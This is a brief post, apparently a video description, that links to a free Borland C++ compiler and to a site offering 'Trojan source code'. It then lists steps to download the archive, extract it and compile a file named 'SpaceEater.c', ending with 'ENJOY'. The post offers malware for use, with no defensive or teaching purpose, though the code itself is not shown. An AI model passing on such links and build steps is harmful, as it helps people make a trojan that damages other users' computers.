The link of the c++ compiler is here :
http://www.thecrazyprogrammer.com/2015/01/download-borland-c-compiler-for-free.html
The Trojan source code here : http://www.gohacking.com/make-trojan-horse/
steps
1) scroll down and click DOWNLOAD the trojan source code here
2) wait for the rar file to be downloaded
3) extract the file wherever you want
4) compile the file ( SpaceEater.c ) with the borland c++ compiler
5) ENJOY
آی-ویدئو